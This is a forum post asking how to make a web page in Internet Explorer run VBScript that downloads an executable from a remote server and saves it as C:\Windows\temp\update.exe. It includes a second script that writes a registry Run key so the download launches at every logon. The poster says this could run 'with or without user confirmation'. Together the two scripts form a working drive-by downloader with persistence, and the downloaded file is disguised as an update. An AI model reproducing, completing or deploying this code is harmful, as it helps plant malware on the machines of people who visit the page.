Run a vbs script inside Internet Explorer Module
Posted: 24 Oct 2020 13:04
I now this is a batch forum but i have this programing question and probably can be solved here...
I have this code from some time that adds a registry key to the system when executed from Internet Explorer.
(The user needs to confirm if he/she wants to execute the ActiveX object but this is not a problem)
This is the script (Script 1)
And i want to change the script above to run the code below
This is a vbs script (Script 2)
The idea is to change the registry script 1 and run script 2 inside internet explorer. (With or without user confirmation)
I have this code from some time that adds a registry key to the system when executed from Internet Explorer.
(The user needs to confirm if he/she wants to execute the ActiveX object but this is not a problem)
This is the script (Script 1)
Code: Select all
<script> var url = 'iexplore.exe http://myserver/download.php?file.exe'; var Shell = new ActiveXObject('WScript.Shell'); Shell.RegWrite('HKCU\Software\Microsoft\Windows\CurrentVersion\Run\myapp',url); </script>
This is a vbs script (Script 2)
Code: Select all
<script>
dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
xHttp.Open "GET", "http://myserver/download.php?file.exe", False
xHttp.Send
with bStrm
.type = 1 '
.open
.write xHttp.responseBody
.savetofile "C:\Windows\temp\update.exe", 2 '
end with
</script>